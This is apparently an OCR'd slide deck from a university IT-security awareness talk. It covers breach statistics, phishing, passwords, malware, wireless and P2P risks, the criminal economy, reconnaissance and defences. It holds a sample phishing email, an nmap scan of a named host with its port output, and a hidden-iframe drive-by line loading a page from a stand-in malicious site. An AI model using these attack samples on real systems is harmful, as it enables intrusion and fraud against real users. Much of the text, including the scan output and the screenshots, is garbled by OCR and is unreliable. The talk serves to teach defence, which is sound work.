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Security Landscape

= 6% of companies have experienced a confidentiality breach.

= 13% have detected unauthorised outsiders within their network.
= 10% of websites that accept payments do not encrypt them.

= 52% do not carry out any formal security risk assessment.

= 67% do nothing to prevent confidential data leaving on USB.

= 78% of companies that had computers stolen did no encrypt.

= 79% are not aware of the contents of BS 7799/ISO 27001.

= 97% protect their website with a firewall.
= 99% back up their critical systems and data.

= BERR Information Security Breaches Survey 2008 (PwC)
= http://www.pwc.co.uk/pdf/BERR_2008_ Executive _summary.pdf
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Why Bother ?

rtment To:

Password change required!

Dear sir,

We recently have determined that different computers have
logged onto your eBay account, and multiple password
failures were present before the logons, We strongly advice
CHAMGE YOUR PASSWORD,

If this is not completed by March 8, 2007, we will be forced
to suspend your account indefinitely, as it may have been
used for fraudulent purposes, Thank you for your
cooperation,

Click here to Change Your Passwiord

Thank you for your prompt attention to this matter,

“We apologize for any inconvenience,

Thank you for using eBay!

Please do not reply to this e-mail. Mail sent to this address
cannot be answered,




B Loughborough
f’ University

Why Bother ?

rtment To:

Password change required!

Dear sir,

We recently have determined that different computers have
logged onto your eBay account, and multiple password
failures were present before the logons, We strongly advice
CHAMGE YOUR PASSWORD,

If this is not completed by March 8, 2007, we will be forced
to suspend your account indefinitely, as it may have been
used for fraudulent purposes, Thank you for your
cooperation,

Click here to Change Your Passwiord

Thank you for your prompt attention to this matter,

“We apologize for any inconvenience,

Thank you for using eBay!

Please do not reply to this e-mail. Mail sent to this address
cannot be answered,




B Loughborough
University

Why Bother ? — Social Networking

Profile edit Friends v Inbox ~ home account privacy logout

facebook

Search & Privacy » Profile
ECTN Contact Information
Applications edit - |
Photos Control who can see your profile and related information. To edit settings for Applications, dlick here.
.ll. Groups
Events Profile & | Only Friends M
Marketplace
B FetrolHead Basic Info & | Only Friends M
Finstripe Trader -
E Personal Info & | Only Friends M
T more
Status Updates & | My Metworks and Friends M
Photos Tagged of You & | Only Friends ‘il

Edit Photo Albums Privacy Settings

Videos Tagged of You & | My Metworks and Friends M
Friends & | My Metworks and Friends M

wall & | My Metworks and Friends M

Education Info & | Only Friends M

Work Info & | Only Friends M
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Password Security

= Use a password with mixed-case characters

= Use a password with mix of alpha-numeric and
punctuation

= Use a password that is easy to type to avoid
“Shoulder-Surfers”

= Use the first letters from song titles, song lyrics
for film quotations

= http://www.lboro.ac.uk/it/doc/advice.html
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Viruses / Worms / Trojans
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j‘__,' Hiten is &way and may nok reply, 3
Hiten sends:

smartstart-7,.51-0.is0.zip (453253 KE)
| Double-click here bo start transfer |
AcceptiAlt+C) Save As. (Al+S) Decling(Alt+0)

Hiten saws:
holiday pics

I
b

Last message received ak 11;47 on 14082003,

Find Your Soul Mate Here
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Stay Safe — Anti Virus / Anti Spyware

BJE%IITII WORLD

Your digital photes in a real bosk

Create a
stunning _
photobook... i "';?f'ff'fﬁLL:'g' Sl

Dooae (LICK FOR OFFERS

Your digital photes in a real boak
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Wireless Networks

= Secure wireless networks with strong encryption (WPA2)
keys

= Weak wireless keys WEP, WPA

= Sniff Traffic, Hijack Internet connection

= Browsing habits

= Steal Credit Card numbers, Bank Account details

( rL))
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P2P Networks (Peer 2 Peer)

= Common source of Trojan files
= Appealing for free downloads
= Most are illegal and copyrighted materials
= Against our Acceptable Use Policy (AUP)
= Source of excessive bandwidth
= Monitored by IT Services

2di.0 M
150,09 M 1
1200 M 1 ;

oo Mg

Bits per Second
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Reasons for Attack

= Personal Attacks

= |Information theft and modification

= Experimentation

= Bandwidth theft

= DoS Botnets

= \WWarez servers

= Distribute Viruses, Worms and Trojans
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Making Money?

= Internet malicious activity is to make money...
= DoS.
= Theft of data or information.
= Sale of identities.
= Online gaming
= |n 2007 WoW had 8.5 Million users spending an
average of 20 hours a week gaming.
= Players/Avatars in WoW are worth money
= Exchange rate 100 Gold = $12
= Applications are largely client based in RAM
= WoW Trojan...

il



B Loughb
N

Sale of Stolen Goods

NP E RS T R
= Lo T Demane: Bepal Wik (RS MMBDLE Soenr, g & aeE
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Kargath ALt = = incisdes & Level TO Femalke Bosd ET Mags 533
o TPERST AR,
i = Lawel 70 Hurmas Presl Wih Ol Gesr, Sevaral Rars L
5 o ¥ W W W Epec e, Fiyng Mount & Mons| AWESOME BUY! $3837
Vigw Gaar 20000 MO N
M’gmr - - = nclodea A Lewal TO Maks Homas FPadedsl

(Formmal]

= Examples of virtual stolen goods, e-commerce for the bad guys

= David Philips, Malware in the Virtual World, 8" April 2008
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The Global Mafia

= Organised crime Is rife on the Internet.

= Hundreds of credit cards are available for just a
few dollars.

= \WWhere In the world?

= Russia — Your personal identify
= Brazil — Bank Account
= China — Online accounts like WoW

= Russian Business network shutdown
= Russia -> China -> Korea -> Thailand ->?
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Gathering Information

= Companies House

= Internet Search (http://www.google.co.uk)

= Whois (http://www.netsol.com/cgi-bin/whois/whois)
= A Whois query can provide:

* The Registrant

= The Domain Names Registered

= The Administrative, Technical and Billing Contact
* Record updated and created date stamps

= DNS Servers for the Domain
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ﬁf' ccmsc@escarpment.ut.ac.uk: shome/'ccmsc

Faz=sword:
[root@ezcarpment consc]# nmap —=5 -0 —-pl-65535 gemini

Starting nmap V. 2.54BETAZZ [ www.lnsecure.org- nmnaps )
Interesting port=s on gemnini.lut. ac.ul (131,231 .32 2187 :
i The 65526 port=s scanned but not shown below are in =state: clo=sed)
Fort State Service

135-tcp OpELn loc—srv

139 tcp OpET netbhios—s=sn

445-tcp (m)ul=}y] micro=of t-ds=

1025 tcp OpEn li=ten

1026-tcp OpEn nterm

1029~ tcp OpeEn unlnown

Ja0etcp OpEn my=gl

137 2-top OpEn unlnown

3389-tcp OpEn m=rdp

Femote 05 gueszses: Windows Me or Windows 2000 RC1 through final relea=ss, M5 Wind
ow=Z000 FProfesziconal BEC1-WZK Advance Server Betal, Windows Millenium Edition w4 .
90 . 2000

Hmap run completed — 1 IP addres=s (1 host up) scanned in 37 seconds
[root@escarpment con=c ¥
[ root@escarpment consc & l
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Nmap Analysis...

= TCP Connect Scan
= Completes a ‘Three Way Handshake’
= Very noisy (Detection by IDS)

1) SYN from client

_—
g 2) SYN/ACK from server
u‘—

% 3) ACK from client .
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Nmap Analysis...

= TCP SYN Scan

= Half open scanning (Full port TCP connection
not made)

= Less noisy than the TCP Connect Scan

1) SYN from client

—
g 2) SYN/ACK from server
1—

S
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IFRAME

= Most popular ‘drive by’ attack at the moment

<iframe src=http://bad web site.com/crack.html

width="0" height="0" frameborder="0" </frame>
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Extended Validation (EV) Certificates

——

T

* Introduced over two years ago.

= Started to appear on e-commerce sites over
the last year.

= Add an additional layer of protection against
those trying to obtain certificates with fake
credentials.

= Fairly expensive compared to a traditional
certificate.
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Preventing Attack

= Firewall non essential services

= Ensure Operating Systems are patched

= Harden systems

= |nstall IDS, IPS and Tripwire/AIDE

= Filter incoming traffic (URLScan ModSecurity)
* Implement good systems architecture

= Implement a multilayered approach
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Not just Computers

= Network appliances

= Printers

= Photocopiers

= Telephones

= Network switches, routers, firewalls
= Media servers

Anvthin
M1V
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Questions?

Matthew Cook
http:.//escarpment.net/



